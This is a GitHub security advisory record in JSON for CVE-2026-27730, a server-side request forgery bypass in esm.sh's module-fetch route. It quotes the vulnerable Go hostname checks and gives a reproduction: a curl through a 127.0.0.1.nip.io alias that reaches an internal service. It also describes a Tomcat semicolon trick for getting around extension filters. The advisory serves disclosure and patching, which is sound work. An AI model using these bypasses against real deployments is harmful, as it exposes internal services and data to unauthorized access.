CVE-2026-27730: Github.com/esm dev/esm.sh Esm.sh Has SSRF Localhost/private-network Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p2v6-84h2-5x4r",
  "modified" : "2026-03-02T16:40:47Z",
  "published" : "2026-02-25T22:57:59Z",
  "aliases" : [ "CVE-2026-27730" ],
  "summary" : "esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route",
  "details" : "### Summary\nAn SSRF vulnerability (CWE-918) exists in esm.sh’s `/http(s)` fetch route.  \nThe service tries to block localhost/internal targets, but the validation is based on hostname string checks and can be bypassed using DNS alias domains (for example, `127.0.0.1.nip.io` resolving to `127.0.0.1`).  \nThis allows an external requester to make the esm.sh server fetch internal localhost services.  \nSeverity:  High (depending on deployment network exposure).\n\n### Details\nThe vulnerable flow starts at the route handling user-controlled remote URLs:\n\n- `server/router.go:532`\n  - Accepts paths beginning with `/http://` or `/https://`.\n ```go\nif strings.HasPrefix(pathname, \"/http://\") || strings.HasPrefix(pathname, \"/https://\") {\n\tquery := ctx.Query()\n\tmodUrl, err := url.Parse(pathname[1:])\n\tif err != nil {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tif modUrl.Scheme != \"http\" && modUrl.Scheme != \"https\" {\n\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\treturn rex.Status(400, \"Invalid URL\")\n\t}\n\tmodUrlStr := modUrl.String()\n\n\t// disallow localhost or ip address for production\n\tif !DEBUG {\n\t\thostname := modUrl.Hostname()\n\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t}\n\t}\n```\n\nThe internal-target block is string-based:\n\n- `server/router.go:545`\n ```go\n\t\t\t// disallow localhost or ip address for production\n\t\t\tif !DEBUG {\n\t\t\t\thostname := modUrl.Hostname()\n\t\t\t\tif isLocalhost(hostname) || !valid.IsDomain(hostname) || modUrl.Host == ctx.R.Host {\n\t\t\t\t\tctx.SetHeader(\"Cache-Control\", ccImmutable)\n\t\t\t\t\treturn rex.Status(400, \"Invalid URL\")\n\t\t\t\t}\n\t\t\t}\n```\n\nLocalhost detection itself is limited to hostname patterns:\n\n- `server/utils.go:72`\n  - `isLocalhost(...)` checks values like `localhost`, `127.0.0.1`, and `192.168.*`.\n  - It does **not** validate the resolved destination IP after DNS resolution.\n```go\nfunc isLocalhost(hostname string) bool {\n\treturn hostname == \"localhost\" || strings.HasSuffix(hostname, \".localhost\") || hostname == \"127.0.0.1\" || (valid.IsIPv4(hostname) && strings.HasPrefix(hostname, \"192.168.\"))\n}\n```\n\nFetch proceeds with host-string allowlisting:\n\n- `server/router.go:595-596`\n  - `allowedHosts[modUrl.Host] = struct{}{}` then `fetch.NewClient(...allowedHosts)`\n```go\nallowedHosts := map[string]struct{}{}\nallowedHosts[modUrl.Host] = struct{}{}\nfetchClient, recycle := fetch.NewClient(ctx.UserAgent(), 15, false, allowedHosts)\ndefer recycle()\n```\n\n- `internal/fetch/fetch.go:49`\n  - Host allowlist compares host strings, not resolved IP class.\n```go\nfunc (c *FetchClient) Fetch(url *url.URL, header http.Header) (resp *http.Response, err error) {\n\tif c.allowedHosts != nil {\n\t\tif _, ok := c.allowedHosts[url.Host]; !ok {\n\t\t\treturn nil, errors.New(\"host not allowed: \" + url.Host)\n\t\t}\n\t}\n\tif c.userAgent != \"\" {\n\t\tif header == nil {\n\t\t\theader = make(http.Header)\n\t\t}\n\t\theader.Set(\"User-Agent\", c.userAgent)\n\t}\n\t// ...\n\treturn c.Do(req)\n}\n```\n\nBecause validation is based on host strings and not on resolved destination IP ranges, domains that resolve to loopback/private IP can bypass protections.\n\n### PoC\nReproduction tested on local Docker deployment.\n\n1. Run esm.sh:\n```bash\ndocker run -d --name esmsh-5558 -p 5558:80 ghcr.io/esm-dev/esm.sh:latest\n```\n\n2. Run an internal localhost-only test service (`secret` response) in the same network namespace:\n- Internal network test server code (app.py):\n```python\nfrom flask import Flask, Response\n\n@app.get('/secret.js')\ndef secret_js():\n    return Response('secret;\\n', mimetype='application/javascript')\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5555)\n```\n\nRun the internal Python server container (same network namespace as `esmsh-5558`):\n```bash\ndocker run -d --name internal-5555 --network container:esmsh-5558 \\\n  -v \"<YOUR_PATH>/flask-internal:/app\" -w /app \\\n  python:3.11-alpine sh -lc \"pip install --no-cache-dir flask && python app.py\"\n```\n\nSince this server has no Docker port forwarding configured, it is not reachable from outside and is only accessible from the esmsh-5558 container connected on the same network.\n\n4. Since both were running on localhost, I tested it through a Cloudflared tunnel to simulate external access.\n```bash\ncloudflared tunnel --url http://127.0.0.1:5558\n```\n\n5. Trigger SSRF from outside via esm.sh endpoint:\n```bash\ncurl -i \"https://ESM.SH_SERVER/http://127.0.0.1.nip.io:5555/secret.js\"\n```\n\n127.0.0.1 is blocked,\n<img width=\"1206\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/054a7675-5b9e-461a-bb55-9ec7a2b2f43b\" />\n\n\nbut 127.0.0.1.nip.io bypasses the filter. \n<img width=\"1210\" height=\"336\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b991b1-ff93-495f-b624-458dd48fd5ff\" />\n\n\nThis confirms external requesters can fetch internal localhost service content through esm.sh.\n\n### Impact\nThis is a Server-Side Request Forgery vulnerability (CWE-918).\n\nImpacted:\n- Any esm.sh deployment exposing the `/http(s)` route to untrusted users.\n- Environments where internal services are reachable from the esm.sh server/container network.\n\nPotential consequences:\n- Access to localhost/internal HTTP services not intended for public access.\n- Internal service discovery/probing through the server.\n- Exposure of sensitive internal endpoints (deployment-dependent, e.g., metadata/internal admin APIs).\n- The exploit surface is extension-limited in this route (e.g., \".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"), so it is not a universal arbitrary-file fetch primitive.\n- Even with that limitation, **attackers can still verify whether internal HTTP services exist** and **retrieve internal JavaScript/Markdown resources (and similar allowed extension content) when present.**\n- If the internal server is implemented with Apache Tomcat, it may interpret everything after ; as a path parameter in a request such as /asdf/;asdf=a.js. As a result, **it could be possible to bypass extension checks while still receiving the response from the intended path.**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/esm-dev/esm.sh"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20250616164159-0593516c4cfa"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-p2v6-84h2-5x4r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27730"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/pull/1149"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/commit/0593516c4cfab49ad3b4900416a8432ff2e23eb0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/esm-dev/esm.sh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/esm-dev/esm.sh/releases/tag/v137"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-25T22:57:59Z",
    "nvd_published_at" : "2026-02-25T16:23:27Z"
  }
}